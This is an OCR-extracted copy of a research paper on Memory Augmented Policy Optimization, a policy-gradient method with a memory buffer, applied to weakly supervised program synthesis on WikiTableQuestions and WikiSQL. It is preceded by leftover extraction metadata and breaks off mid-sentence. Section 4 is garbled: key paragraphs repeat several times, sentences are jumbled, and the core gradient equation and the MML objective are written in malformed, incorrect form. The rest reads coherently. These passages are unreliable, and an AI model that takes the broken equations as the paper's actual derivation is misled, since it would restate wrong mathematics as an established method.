[13287, 13482, null], [13482, 13568, null], [13568, 13751, null], [13751, 13849, null], [13849, 14260, null], [14260, 14694, null], [14694, 14939, null], [14939, 15276, null], [15276, 16500, null], [16500, 16802, null], [16802, 16963, null], [16963, 17206, null], [17206, 17452, null], [17452, 17566, null], [17566, 18074, null], [18074, 18355, null], [18355, 18359, null], [18359, 18682, null], [18682, 18791, null], [18791, 18901, null], [18901, 19093, null], [19093, 19278, null], [19278, 19573, null], [19573, 19835, null], [19835, 19835, null], [19835, 20327, null], [20327, 20558, null], [20558, 20756, null], [20756, 20955, null], [20955, 21243, null], [21243, 21652, null], [21652, 22040, null], [22040, 22478, null], [22478, 22944, null], [22944, 22944, null], [22944, 23070, null], [23070, 23247, null], [23247, 23397, null], [23397, 23581, null], [23581, 23974, null], [23974, 24423, null], [24423, 24423, null], [24423, 24623, null], [24623, 24757, null], [24757, 25040, null], [25040, 25269, null], [25269, 25273, null], [25273, 25596, null], [25596, 25706, null], [25706, 25830, null], [25830, 26252, null], [26252, 26287, null], [26287, 26361, null], [26361, 26482, null], [26482, 26861, null], [26861, 27091, null], [27091, 27242, null], [27242, 27562, null], [27562, 28501, null], [28501, 28570, null], [28570, 28790, null], [28790, 29145, null], [29145, 29250, null], [29250, 29398, null], [29398, 29457, null], [29457, 29552, null], [29552, 30301, null], [30301, 31123, null], [31123, 31257, null], [31257, 31480, null], [31480, 32273, null], [32273, 34622, null], [34622, 35069, null], [35069, 35246, null], [35246, 35532, null], [35532, 35820, null], [35820, 36147, null], [36147, 36156, null]], "google_gemma-3-12b-it_is_public_document": [[0, 235, true], [235, 577, null], [577, 642, null], [642, 888, null], [888, 1499, null], [1499, 1689, null], [1689, 1946, null], [1946, 2178, null], [2178, 2305, null], [2305, 2628, null], [2628, 2997, null], [2997, 3125, null], [3125, 3203, null], [3203, 3545, null], [3545, 3545, null], [3545, 3868, null], [3868, 3979, null], [3979, 4287, null], [4287, 4337, null], [4337, 4361, null], [4361, 4385, null], [4385, 4672, null], [4672, 4887, null], [4887, 5106, null], [5106, 5316, null], [5316, 5340, null], [5340, 5383, null], [5383, 5667, null], [5667, 5951, null], [5951, 6235, null], [6235, 7013, null], [7013, 7259, null], [7259, 7575, null], [7575, 7604, null], [7604, 8121, null], [8121, 8330, null], [8330, 8623, null], [8623, 8900, null], [8900, 9098, null], [9098, 9122, null], [9122, 9547, null], [9547, 10040, null], [10040, 10040, null], [10040, 10363, null], [10363, 10474, null], [10474, 10574, null], [10574, 10691, null], [10691, 10975, null], [10975, 11075, null], [11075, 11334, null], [11334, 11575, null], [11575, 11820, null], [11820, 12027, null], [12027, 12169, null], [12169, 12579, null], [12579, 13002, null], [13002, 13287, null], [13287, 13482, null], [13482, 13568, null], [13568, 13751, null], [13751, 13849, null], [13849, 14260, null], [14260, 14694, null], [14694, 14939, null], [14939, 15276, null], [15276, 16500, null], [16500, 16802, null], [16802, 16963, null], [16963, 17206, null], [17206, 17452, null], [17452, 17566, null], [17566, 18074, null], [18074, 18355, null], [18355, 18359, null], [18359, 18682, null], [18682, 18791, null], [18791, 18901, null], [18901, 19093, null], [19093, 19278, null], [19278, 19573, null], [19573, 19835, null], [19835, 19835, null], [19835, 20327, null], [20327, 20558, null], [20558, 20756, null], [20756, 20955, null], [20955, 21243, null], [21243, 21652, null], [21652, 22040, null], [22040, 22478, null], [22478, 22944, null], [22944, 22944, null], [22944, 23070, null], [23070, 23247, null], [23247, 23397, null], [23397, 23581, null], [23581, 23974, null], [23974, 24423, null], [24423, 24423, null], [24423, 24623, null], [24623, 24757, null], [24757, 25040, null], [25040, 25269, null], [25269, 25273, null], [25273, 25596, null], [25596, 25706, null], [25706, 25830, null], [25830, 26252, null], [26252, 26287, null], [26287, 26361, null], [26361, 26482, null], [26482, 26861, null], [26861, 27091, null], [27091, 27242, null], [27242, 27562, null], [27562, 28501, null], [28501, 28570, null], [28570, 28790, null], [28790, 29145, null], [29145, 29250, null], [29250, 29398, null], [29398, 29457, null], [29457, 29552, null], [29552, 30301, null], [30301, 31123, null], [31123, 31257, null], [31257, 31480, null], [31480, 32273, null], [32273, 34622, null], [34622, 35069, null], [35069, 35246, null], [35246, 35532, null], [35532, 35820, null], [35820, 36147, null], [36147, 36156, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36156, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36156, null]], "pdf_page_numbers": [[0, 235, 1], [235, 577, 2], [577, 642, 3], [642, 888, 4], [888, 1499, 5], [1499, 1689, 6], [1689, 1946, 7], [1946, 2178, 8], [2178, 2305, 9], [2305, 2628, 10], [2628, 2997, 11], [2997, 3125, 12], [3125, 3203, 13], [3203, 3545, 14], [3545, 3545, 15], [3545, 3868, 16], [3868, 3979, 17], [3979, 4287, 18], [4287, 4337, 19], [4337, 4361, 20], [4361, 4385, 21], [4385, 4672, 22], [4672, 4887, 23], [4887, 5106, 24], [5106, 5316, 25], [5316, 5340, 26], [5340, 5383, 27], [5383, 5667, 28], [5667, 5951, 29], [5951, 6235, 30], [6235, 7013, 31], [7013, 7259, 32], [7259, 7575, 33], [7575, 7604, 34], [7604, 8121, 35], [8121, 8330, 36], [8330, 8623, 37], [8623, 8900, 38], [8900, 9098, 39], [9098, 9122, 40], [9122, 9547, 41], [9547, 10040, 42], [10040, 10040, 43], [10040, 10363, 44], [10363, 10474, 45], [10474, 10574, 46], [10574, 10691, 47], [10691, 10975, 48], [10975, 11075, 49], [11075, 11334, 50], [11334, 11575, 51], [11575, 11820, 52], [11820, 12027, 53], [12027, 12169, 54], [12169, 12579, 55], [12579, 13002, 56], [13002, 13287, 57], [13287, 13482, 58], [13482, 13568, 59], [13568, 13751, 60], [13751, 13849, 61], [13849, 14260, 62], [14260, 14694, 63], [14694, 14939, 64], [14939, 15276, 65], [15276, 16500, 66], [16500, 16802, 67], [16802, 16963, 68], [16963, 17206, 69], [17206, 17452, 70], [17452, 17566, 71], [17566, 18074, 72], [18074, 18355, 73], [18355, 18359, 74], [18359, 18682, 75], [18682, 18791, 76], [18791, 18901, 77], [18901, 19093, 78], [19093, 19278, 79], [19278, 19573, 80], [19573, 19835, 81], [19835, 19835, 82], [19835, 20327, 83], [20327, 20558, 84], [20558, 20756, 85], [20756, 20955, 86], [20955, 21243, 87], [21243, 21652, 88], [21652, 22040, 89], [22040, 22478, 90], [22478, 22944, 91], [22944, 22944, 92], [22944, 23070, 93], [23070, 23247, 94], [23247, 23397, 95], [23397, 23581, 96], [23581, 23974, 97], [23974, 24423, 98], [24423, 24423, 99], [24423, 24623, 100], [24623, 24757, 101], [24757, 25040, 102], [25040, 25269, 103], [25269, 25273, 104], [25273, 25596, 105], [25596, 25706, 106], [25706, 25830, 107], [25830, 26252, 108], [26252, 26287, 109], [26287, 26361, 110], [26361, 26482, 111], [26482, 26861, 112], [26861, 27091, 113], [27091, 27242, 114], [27242, 27562, 115], [27562, 28501, 116], [28501, 28570, 117], [28570, 28790, 118], [28790, 29145, 119], [29145, 29250, 120], [29250, 29398, 121], [29398, 29457, 122], [29457, 29552, 123], [29552, 30301, 124], [30301, 31123, 125], [31123, 31257, 126], [31257, 31480, 127], [31480, 32273, 128], [32273, 34622, 129], [34622, 35069, 130], [35069, 35246, 131], [35246, 35532, 132], [35532, 35820, 133], [35820, 36147, 134], [36147, 36156, 135]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36156, 0.0386]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
55089f84bc9bf0dd1a710ef52e749f1db0733199
Memory Augmented Policy Optimization for Program Synthesis and Semantic Parsing Chen Liang Google Brain crazydonkey200@gmail.com Mohammad Norouzi Google Brain mnorouzi@google.com Jonathan Berant Tel-Aviv University, AII joberant@cs.tau.ac.il Quoc Le Google Brain qvl@google.com Ni Lao SayMosaic Inc. ni.lao@mosaix.ai Abstract We present Memory Augmented Policy Optimization (MAPO), a simple and novel way to leverage a memory buffer of promising trajectories to reduce the variance of policy gradient estimates. MAPO is applicable to deterministic environments with discrete actions, such as structured prediction and combinatorial optimization. Our key idea is to express the expected return objective as a weighted sum of two terms: an expectation over the high-reward trajectories inside a memory buffer, and a separate expectation over trajectories outside of the buffer. To design an efficient algorithm based on this idea, we propose: (1) memory weight clipping to accelerate and stabilize training; (2) systematic exploration to discover high-reward trajectories; (3) distributed sampling from inside and outside of the memory buffer to speed up training. MAPO improves the sample efficiency and robustness of policy gradient, especially on tasks with sparse rewards. We evaluate MAPO on weakly supervised program synthesis from natural language (semantic parsing). On the WikitableQuestions benchmark, we improve the state-of-the-art by 2.6%, achieving an accuracy of 46.3%. On the Wikisql benchmark, MAPO achieves an accuracy of 74.9% with only weak supervision, outperforming several strong baselines with full supervision. Our source code is available at goo.gl/TXBp4e. 1 Introduction There has been a recent surge of interest in applying policy gradient methods to various application domains including program synthesis [26,17,68,10], dialogue generation [25,11], architecture search [69,71], game [53,31] and continuous control [44,50]. Simple policy gradient methods like REINFORCE [58] use Monte Carlo samples from the current policy to perform an on-policy optimization of the expected return objective. This often leads to unstable learning dynamics and poor sample efficiency, sometimes even underperforming random search [50]. The difficulty of gradient based policy optimization stems from a few sources: (1) policy gradient estimates have a large variance; (2) samples from a randomly initialized policy often attain small rewards, resulting in a slow training progress in the initial phase (cold start); (3) random policy samples do not explore the search space efficiently and systematically. These issues can be especially prohibitive in applications such as program synthesis and robotics [4] where the search space is large and the rewards are delayed and sparse. In such domains, a high reward is only achieved after a long sequence of correct actions. For instance, in program synthesis, only a few programs in the large combinatorial space of programs may correspond to the correct functional form. Unfortunately, relying on policy samples to explore the space often leads to forgetting a high reward trajectory unless it is re-sampled frequently [26,3]. Learning through reflection on past experiences (“experience replay”) is a promising direction to improve data efficiency and learning stability. It has recently been widely adopted in various deep RL algorithms, but its theoretical analysis and empirical comparison are still lacking. As a result, defining the optimal strategy for prioritizing and sampling from past experiences remain an open question. There has been various attempts to incorporate off-policy samples within the policy gradient framework to improve the sample efficiency of the REINFORCE and actor-critic algorithms (e.g., [12, 57, 51, 15]). Most of these approaches utilize samples from an old policy through (truncated) importance sampling to obtain a low variance, but biased estimate of the gradients. Previous work has aimed to incorporate a replay buffer into policy gradient in the general RL setting of stochastic dynamics and possibly continuous actions. By contrast, we focus on deterministic environments with discrete actions and develop an unbiased policy gradient estimator with low variance (Figure 1). This paper presents MAPO: a simple and novel way to incorporate a memory buffer of promising trajectories within the policy gradient framework. We express the expected return objective as a weighted sum of an expectation over the trajectories inside the memory buffer and a separate expectation over unknown trajectories outside of the buffer. The gradient estimates are unbiased and attain lower variance. Because high-reward trajectories remain in the memory, it is not possible to forget them. To make an efficient algorithm for MAPO, we propose 3 techniques: (1) memory weight clipping to accelerate and stabilize training; (2) systematic exploration of the search space to efficiently discover the high-reward trajectories; (3) distributed sampling from inside and outside of the memory buffer to scale up training. We assess the effectiveness of MAPO on weakly supervised program synthesis from natural language (see Section 2). Program synthesis presents a unique opportunity to study generalization in the context of policy optimization, besides being an important real world application. On the challenging WIKITABLEQUESTIONS [39] benchmark, MAPO achieves an accuracy of 46.3% on the test set, significantly outperforming the previous state-of-the-art of 43.7% [67]. Interestingly, on the WIKI SQL [68] benchmark, MAPO achieves an accuracy of 74.9% without the supervision of gold programs, outperforming several strong fully supervised baselines. ## 2 The Problem of Weakly Supervised Contextual Program Synthesis Consider the problem of learning to map a natural language question \( x \) to a structured query \( a \) in a programming language such as SQL (e.g., [68]), or converting a textual problem description into a piece of source code in programming competitions (e.g., [5]). We call these problems contextual program synthesis and aim at tackling them in a weakly supervised setting — i.e., no correct action sequence \( a \), which corresponds to a gold program, is given as part of the training data, and training needs to solve the hard problem of exploring a large program space. Table 1 shows an example question-answer pair. The model needs to first discover the programs that can generate the correct answer in a given context, and then learn to generalize to new contexts. We formulate the problem of weakly supervised contextual program synthesis as follows: to generate a program by using a parametric function, \( \hat{a} = f(x; \theta) \), where \( \theta \) denotes the model parameters. The quality of a program \( \hat{a} \) is measured by a scoring or reward function \( R(\hat{a} | x, y) \). The reward function may evaluate a program by executing it on a real environment and comparing the output against the correct answer. For example, it is natural to define a binary reward that is 1 when the output equals the answer and 0 otherwise. We assume that the context \( x \) includes both a natural language input and an environment, for example an interpreter or a database, on which the program will be executed. Given a dataset of context-answer pairs, \( \{(x_i, y)\}_{i=1}^N \), the goal is to find optimal parameters \( \theta^* \) that parameterize a mapping of \( x \to a \) with maximum empirical return on a heldout test set. One can think of the problem of contextual program synthesis as an instance of reinforcement learning (RL) with sparse terminal rewards and deterministic transitions, for which generalization plays a key role. There has been some recent attempts in the RL community to study generalization to unseen initial conditions (e.g., [45, 35]). However, most prior work aims to maximize empirical return on the training environment [6, 9]. The problem of contextual program synthesis presents a natural application of RL for which generalization is the main concern. ### Table 1: x: Where did the last 1st place finish occur? y: Thailand <table> <thead> <tr> <th>Year</th> <th>Venue</th> <th>Position</th> <th>Event</th> <th>Time</th> </tr> </thead> <tbody> <tr> <td>2001</td> <td>Hungary</td> <td>2nd</td> <td>400m</td> <td>47.12</td> </tr> <tr> <td>2003</td> <td>Finland</td> <td>1st</td> <td>400m</td> <td>46.69</td> </tr> <tr> <td>2005</td> <td>Germany</td> <td>11th</td> <td>400m</td> <td>46.62</td> </tr> <tr> <td>2007</td> <td>Thailand</td> <td>1st</td> <td>relay</td> <td>182.05</td> </tr> <tr> <td>2008</td> <td>China</td> <td>7th</td> <td>relay</td> <td>180.32</td> </tr> </tbody> </table> 3 Optimization of Expected Return via Policy Gradients To learn a mapping of (context x) → (program a), we optimize the parameters of a conditional distribution \( \pi_{\theta}(a | x) \) that assigns a probability to each program given the context. That is, \( \pi_{\theta} \) is a distribution over the countable set of all possible programs, denoted \( \mathcal{A} \). Thus \( \forall a \in \mathcal{A} : \pi_{\theta}(a | x) \geq 0 \) and \( \sum_{a \in \mathcal{A}} \pi_{\theta}(a | x) = 1 \). To synthesize a program for a novel context, one finds the most likely program under the distribution \( \pi_{\theta} \) via exact or approximate inference \( \hat{a} \approx \arg \max_{a \in \mathcal{A}} \pi_{\theta}(a | x) \). **Autoregressive** models present a tractable family of distributions that estimates the probability of a sequence of tokens, one token at a time, often from left to right. To handle variable sequence length, one includes a special end-of-sequence token at the end of the sequences. We express the probability of a program \( a \) given \( x \) as \( \pi_{\theta}(a | x) = \prod_{t=1}^{|a|} \pi_{\theta}(a_{t} | a_{<t}, x) \), where \( a_{<t} = (a_1, \ldots, a_{t-1}) \) denotes a prefix of the program \( a \). One often uses a recurrent neural network (e.g., [20]) to predict the probability of each token given the prefix and the context. In the absence of ground truth programs, policy gradient techniques present a way to optimize the parameters of a stochastic policy \( \pi_{\theta} \) via optimization of expected return. Given a training dataset of context-answer pairs, \( \{(x_i, y_i)\}_{i=1}^{N} \), the objective is expressed as \( \mathbb{E}_{\pi_{\theta}(a|x)} R(a | x, y) \). The reward function \( R(a | x, y) \) evaluates a complete program \( a \), based on the context \( x \) and the correct answer \( y \). These assumptions characterize the problem of program synthesis well, but they also apply to many other discrete optimization and structured prediction domains. **Simplified notation.** In what follows, we simplify the notation by dropping the dependence of the policy and the reward on \( x \) and \( y \). We use a notation of \( \pi_{\theta}(a) \) instead of \( \pi_{\theta}(a | x) \) and \( R(a) \) instead of \( R(a | x, y) \), to make the formulation less cluttered, but the equations hold in the general case. We express the expected return objective in the simplified notation as, \[ \mathcal{O}_{\text{ER}}(\theta) = \sum_{a \in \mathcal{A}} \pi_{\theta}(a) R(a) = \mathbb{E}_{a \sim \pi_{\theta}(a)} R(a). \tag{1} \] The REINFORCE [58] algorithm presents an elegant and convenient way to estimate the gradient of the expected return \( \mathcal{O}_{\text{ER}} \) using Monte Carlo (MC) samples. Using \( K \) trajectories sampled i.i.d. from the current policy \( \pi_{\theta} \), denoted \( \{a^{(1)}, \ldots, a^{(K)}\} \), the gradient estimate can be expressed as, \[ \nabla_{\theta} \mathcal{O}_{\text{ER}}(\theta) = \mathbb{E}_{a \sim \pi_{\theta}(a)} \nabla \log \pi_{\theta}(a) R(a) \approx \frac{1}{K} \sum_{k=1}^{K} \nabla \log \pi_{\theta}(a^{(k)}) \left[ R(a^{(k)}) - b \right], \tag{2} \] where a baseline \( b \) is subtracted from the returns to reduce the variance of gradient estimates. This formulation enables direct optimization of \( \mathcal{O}_{\text{ER}} \) via MC sampling from an unknown search space, which also serves the purpose of exploration. To improve such exploration behavior, one often includes the entropy of the policy as an additional term inside the objective to prevent early convergence. However, the key limitation of the formulation stems from the difficulty of estimating the gradients accurately only using a few fresh samples. 4 MAPO: Memory Augmented Policy Optimization We consider an RL environment with a finite number of discrete actions, deterministic transitions, and deterministic terminal returns. In other words, the set of all possible action trajectories \( \mathcal{A} \) is countable, even though possibly infinite, and re-evaluating the return of a trajectory \( R(a) \) twice results in the same value. These assumptions characterize the problem of program synthesis well, but also apply to many structured prediction problems [47, 37] and combinatorial optimization domains (e.g., [71]). To reduce the variance in gradient estimation and prevent forgetting high-reward trajectories, we introduce a memory buffer, which saves a set of promising trajectories denoted \( \mathcal{B} \equiv \{a^{(i)}\}_{i=1}^{M} \). Previous works [26, 2, 60] utilized a memory buffer by adopting a training objective similar to \[ \mathcal{O}_{\text{AUG}}(\theta) = \lambda \mathcal{O}_{\text{ER}}(\theta) + (1 - \lambda) \sum_{a \in \mathcal{B}} \log \pi_{\theta}(a), \tag{3} \] which combines the expected return objective with a maximum likelihood objective over the memory buffer \( \mathcal{B} \). This training objective is not directly optimizing the expected return any more because the second term introduces bias into the gradient. When the trajectories in \( \mathcal{B} \) are not gold trajectories We aim to utilize the memory buffer in a principled way. Our key insight is that one can re-express the policy gradient as, \[ \nabla \log p(\theta) = \nabla \log \pi(\theta) = \sum_{a \in A} \frac{\nabla \log \pi(a)}{\pi(a)} R(a) \] The second expectation can be estimated by sampling from \( \pi_\theta \) and replacing the sample if \( a \in B \) if the memory buffer contains a large number of trajectories. The variance in gradient estimation is reduced by enumerating all the trajectories in the buffer. The trajectories inside and outside the memory buffer are two mutually exclusive and collectively exhaustive strata, and the variance reduction still holds. The weights for the first and second expectations are collectively exhaustive strata, and the variance reduction still holds. The weights for the first expectation can be computed exactly by rejection sampling by sampling from \( \pi_\theta \) and rejecting the sample if \( a \in B \). If the memory buffer only contains a small number of trajectories, the first expectation can be approximated by sampling from a smaller stochastic space. Expectation inside \( B \) and outside \( B \) can be approximated by sampling. Then, we get a \[ \nabla \log \pi(\theta) = \nabla \log \pi(\theta) = \sum_{a \in A} \frac{\nabla \log \pi(a)}{\pi(a)} R(a) \] We aim to utilize the memory buffer in a principled way. Our key insight is that one can re-express the policy gradient as, \[ \nabla \log p(\theta) = \nabla \log \pi(\theta) = \sum_{a \in A} \frac{\nabla \log \pi(a)}{\pi(a)} R(a) \] Figure 1: Overview of MAPO compared with experience replay using importance sampling. memory weight \( \pi_B \), which ensures that the memory weight is greater or equal to \( \alpha \), i.e., \( \pi_B \geq \alpha \), otherwise clips it to \( \alpha \). So the new gradient estimate is, \[ \nabla_\theta C^\pi_{ER}(\theta) = \pi_B^c \mathbb{E}_{a \sim \pi^c_B(a)} \nabla \log \pi_\theta(a) R(a) + (1 - \pi_B^c) \mathbb{E}_{a \sim \pi^0_B(a)} \nabla \log \pi_\theta(a) R(a), \] where \( \pi_B^c = \max(\pi_B, \alpha) \) is the clipped memory weight. At the beginning of training, the clipping is active and introduce a bias, but accelerates and stabilizes training. Once the policy is off the ground, the memory weights are almost never clipped given that they are naturally larger than \( \alpha \) and the gradients are not biased any more. See section 5.4 for an empirical analysis of the clipping. 4.2 Systematic Exploration To discover high-reward trajectories for the memory buffer \( B \), we need to efficiently explore the search space. Exploration using policy samples suffers from repeated samples, which is a waste of computation in deterministic environments. So we propose to use systematic exploration to improve the efficiency. More specifically we keep a set \( B^c \) of fully explored partial sequences, which can be efficiently implemented using a bloom filter. Then, we use it to enforce a policy to only take actions that lead to unexplored sequences. Using a bloom filter we can store billions of sequences in only several gigabytes of memory. The pseudo code of this approach is shown in Algorithm 1. We warm start the memory buffer using systematic exploration from random policy as it can be trivially parallelized. In parallel to training, we continue the systematic exploration with the current policy to discover new high reward trajectories. 4.3 Distributed Sampling An exact computation of the first expectation of (5) requires an enumeration over the memory buffer. The cost of gradient computation will grow linearly \( w.r.t \) the number of trajectories in the buffer, so it can be prohibitively slow when the buffer contains a large number of trajectories. Alternatively, we can approximate the first expectation using sampling. As mentioned above, this can be viewed as stratified sampling and the variance is still reduced. Although the cost of gradient computation now grows linearly \( w.r.t \) the number of samples instead of the total number of trajectories in the buffer, the cost of sampling still grows linearly \( w.r.t \) the size of the memory buffer because we need to compute the probability of each trajectory with the current model. A key insight is that if the bottleneck is in sampling, the cost can be distributed through an actor-learner architecture similar to [15]. See the Supplemental Material [3] for a figure depicting the actor-learner architecture. The actors each use its model to sample trajectories from inside the memory buffer through renormalization (\( \pi_B^c \) in (6)), and uses rejection sampling to pick trajectories from outside the memory (\( \pi_B^0 \) in (6)). It also computes the weights for these trajectories using the model. These trajectories and their weights are then pushed to a queue of samples. The learner fetches samples from the queue and uses them to compute gradient estimates to update the parameters. By distributing the cost of sampling to a set of actors, the training can be accelerated almost linearly \( w.r.t \) the number of actors. In our experiments, we got a \( \sim 20 \) times speedup from distributed sampling with 30 actors. --- **Algorithm 1** Systematic Exploration **Input:** context \( x \), policy \( \pi \), fully explored sub-sequences \( B^c \), high-reward sequences \( B \) **Initialize:** empty sequence \( a_{0:t} \) while true do \[ V = \{ a \mid a_{0:t-1} \parallel a \notin B^c \} \] if \( V = \emptyset \) then \[ B^c \leftarrow B^c \cup a_{0:t-1} \] break sample \( a_t \sim \pi^V(a | a_{0:t-1}) \) \( a_{0:t} \leftarrow a_{0:t-1} \parallel a_t \) if \( a_t \equiv \text{EOS} \) then if \( R(a_{0:t}) > 0 \) then \[ B \leftarrow B \cup a_{0:t} \] \[ B^c \leftarrow B^c \cup a_{0:t} \] break **Algorithm 2** MAPO **Input:** data \( \{(x_i, y_i)\}_{i=1}^N \), memories \( \{(B_i, B^c_i)\}_{i=1}^N \), constants \( \epsilon, \alpha, M \) repeat \( \Rightarrow \) for all actors Initialize training batch \( D \leftarrow \emptyset \) Get a batch of inputs \( C \) for \((x_i, y_i, B_i, B^c_i) \in C \) do Algorithm 1 \((x_i, \pi_B^{old}(B_i), B_i)\) Sample \( a^{i}_j \sim \pi_B^{old} \) \( w.r.t \) \( B_i \) \( w^{i}_j \leftarrow \max(\pi_B^{old}(B_i), \alpha) \) \( D \leftarrow D \cup (a^{i}_j, R(a^{i}_j), w^{i}_j) \) Sample \( a_i \sim \pi_B^{old} \) if \( a_i \notin B_i \) then \( w_i \leftarrow (1 - w^{i}_j) \) \( D \leftarrow D \cup (a_i, R(a_i), w_i) \) Push \( D \) to training queue until converge or early stop repeat \( \Rightarrow \) for the learner Get a batch \( D \) from training queue for \((a_i, R(a_i), w_i) \in D \) do \( d\theta \leftarrow d\theta + w_i R(a_i) \nabla \log \pi_\theta(a_i) \) update \( \theta \) using \( d\theta \) \( \pi_B^{old} \leftarrow \pi_\theta \) \( \Rightarrow \) once every \( M \) batches until converge or early stop **Output:** final parameters \( \theta \) 4.4 Final Algorithm The final training procedure is summarized in Algorithm 2. As mentioned above, we adopt the actor-learner architecture for distributed training. It uses multiple actors to collect training samples asynchronously and one learner for updating the parameters based on the training samples. Each actor interacts with a set of environments to generate new trajectories. For efficiency, an actor uses a stale policy ($\pi_{\text{old}}$), which is often a few steps behind the policy of the learner and will be synchronized periodically. To apply MAPO, each actor also maintains a memory buffer $B_n$ to save the high-reward trajectories. To prepare training samples for the learner, the actor picks $n_b$ samples from inside $B_n$ and also performs rejection sampling with $n_o$, on-policy samples, both according to the actor’s policy $\pi_{\text{old}}$. We then use the actor policy to compute a weight $\max(\pi_{\theta}(B), \alpha)$ for the samples in the memory buffer, and use $1 - \max(\pi_{\theta}(B), \alpha)$ for samples outside of the buffer. These samples are pushed to a queue and the learner reads from the queue to compute gradients and update the parameters. 5 Experiments We evaluate MAPO on two program synthesis from natural language (also known as semantic parsing) benchmarks, WIKITABLEQUESTIONS and WIKISQL, which requires generating programs to query and process data from tables to answer natural language questions. We first compare MAPO to four common baselines, and ablate systematic exploration and memory weight clipping to show their utility. Then we compare MAPO to the state-of-the-art on these two benchmarks. On WIKITABLEQUESTIONS, MAPO is the first RL-based approach that significantly outperforms the previous state-of-the-art. On WIKISQL, MAPO trained with weak supervision (question-answer pairs) outperforms several strong models trained with full supervision (question-program pairs). 5.1 Experimental setup Datasets. WIKITABLEQUESTIONS [39] contains tables extracted from Wikipedia and question-answer pairs about the tables. See Table 1 as an example. There are 2,108 tables and 18,496 question-answer pairs split into train/dev/test set. We follow the construction in [39] for converting a table into a directed graph that can be queried, where rows and cells are converted to graph nodes while column names become labeled directed edges. For the questions, we use string match to identify phrases that appear in the table. We also identify numbers and dates using the CoreNLP annotation released with the dataset. The task is challenging in several aspects. First, the tables are taken from Wikipedia and cover a wide range of topics. Second, at test time, new tables that contain unseen column names appear. Third, the table contents are not normalized as in knowledge-bases like Freebase, so there are noises and ambiguities in the table annotation. Last, the semantics are more complex comparing to previous datasets like WEBQUESTIONSSP [62]. It requires multiple-step reasoning using a large set of functions, including comparisons, superlatives, aggregations, and arithmetic operations [39]. See Supplementary Material A for more details about the functions. WIKISQL [68] is a recent large scale dataset on learning natural language interfaces for databases. It also uses tables extracted from Wikipedia, but is much larger and is annotated with programs (SQL). There are 24,241 tables and 80,654 question-program pairs split into train/dev/test set. Comparing to WIKITABLEQUESTIONS, the semantics are simpler because the SQLs use fewer operators (column selection, aggregation, and conditions). We perform similar preprocessing as for WIKITABLEQUESTIONS. Most of the state-of-the-art models relies on question-program pairs for supervised training, while we only use the question-answer pairs for weakly supervised training. Model architecture. We adopt the Neural Symbolic Machines framework [26], which combines (1) a neural “programmer”, which is a seq2seq model augmented by a key-variable memory that can translate a natural language utterance to a program as a sequence of tokens, and (2) a symbolic “computer”, which is an Lisp interpreter that implements a domain specific language with built-in functions and provides code assistance by eliminating syntactically or semantically invalid choices. For the Lisp interpreter, we added functions according to [67, 34] for WIKITABLEQUESTIONS experiments and used the subset of functions equivalent to column selection, aggregation, and conditions for WIKISQL. See the Supplementary Material A for more details about functions used. We implemented the seq2seq model augmented with key-variable memory from [26] in TensorFlow [1]. Some minor differences are: (1) we used a bi-directional LSTM for the encoder; (2) we used two-layer LSTM with skip-connections in both the encoder and decoder. GloVe [43] embeddings are used for the embedding layer in the encoder and also to create embeddings for column names by averaging the embeddings of the words in a name. Following [34, 24], we also add a binary feature in each step of the encoder, indicating whether this word is found in the table, and an integer feature for a column name counting how many of the words in the column name appear in the question. For the WikiTableQuestions dataset, we use the CoreNLP annotation of numbers and dates released with the dataset. For the WikiSQL dataset, only numbers are used, so we use a simple parser to identify and parse the numbers in the questions, and the tables are already preprocessed. The tokens of the numbers and dates are anonymized as two special tokens <NUM> and <DATE>. The hidden size of the LSTM is 200. We keep the GloVe embeddings fixed during training, but project it to 200 dimensions using a trainable linear transformation. The same architecture is used for both datasets. Training Details. We first apply systematic exploration using a random policy to discover high-reward programs to warn start the memory buffer of each example. For WikiTableQuestions, we generated 50k programs per example using systematic exploration with pruning rules inspired by the grammars from [67] (see Supplementary E). We apply 0.2 dropout on both encoder and decoder. Each batch includes samples from 25 examples. For experiments on WikiSQL, we generated 1k programs per example due to computational constraint. Because the dataset is much larger, we don’t use any regularization. Each batch includes samples from 125 examples. We use distributed sampling for WikiTableQuestions. For WikiSQL, due to computational constraints, we truncate each memory buffer to top 5 and then enumerate all 5 programs for training. For both experiments, the samples outside memory buffer are drawn using rejection sampling from 1 on-policy sample per example. At inference time, we apply beam search of size 5. We evaluate the model periodically on the dev set to select the best model. We apply a distributed actor-learner architecture for training. The actors use CPUs to generate new trajectories and push the samples into a queue. The learner reads batches of data from the queue and uses GPU to accelerate training (see Supplementary D). We use Adam optimizer for training and the learning rate is $10^{-3}$. All the hyperparameters are tuned on the dev set. We train the model for 25k steps on WikiTableQuestions and 15k steps on WikiSQL. 5.2 Comparison to baselines We first compare MAPO against the following baselines using the same neural architecture. - **REINFORCE**: We use on-policy samples to estimate the gradient of expected return as in (2), not utilizing any form of memory buffer. - **MML**: Maximum Marginal Likelihood maximizes the marginal probability of the memory buffer as in $\mathcal{O}_{MML}(\theta) = \frac{1}{N} \sum_i \log \sum_{a \in \mathcal{A}} \pi_\theta(a) = \frac{1}{N} \log \left( \sum_{i} \sum_{a \in \mathcal{A}} \pi_\theta(a) \right)$. Assuming binary rewards and assuming that the memory buffer contains almost all of the trajectories with a reward of 1, MML optimizes the marginal probability of generating a rewarding program. Note that under these assumptions, expected return can be expressed as $\mathcal{O}_{EM}(\theta) \approx \frac{1}{N} \sum_i \sum_{a \in \mathcal{A}} \pi_\theta(a)$. Comparing the two objectives, we can see that MML maximizes the product of marginal probabilities, whereas expected return maximizes the sum. More discussion of these two 